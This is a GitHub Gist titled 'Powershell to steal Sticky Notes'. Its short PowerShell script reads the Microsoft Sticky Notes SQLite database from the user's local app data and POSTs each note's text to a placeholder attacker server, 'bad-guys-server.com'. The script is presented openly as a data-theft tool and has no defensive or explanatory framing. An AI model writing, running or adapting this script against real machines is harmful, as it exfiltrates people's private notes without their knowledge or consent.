Created
August 12, 2019 09:38
-
-
Save jusso-dev/2065a47cb0a16ac4143000245a46ffd8 to your computer and use it in GitHub Desktop.
Powershell to steal Sticky Notes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$env:TEMP + "\PSSQLite\1.0.3\PSSQLite.psm1" | Import-Module | |
$Database = $env:LOCALAPPDATA + "\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite" | |
$notes = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Note LIMIT 100" | |
foreach($note in $notes) { Invoke-RestMethod -Uri "https://bad-guys-server.com" -Method Post -Headers @{"Content-Type"="application/json"} -Body @{"NoteText"=$note.Text} | ConvertTo-Json } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment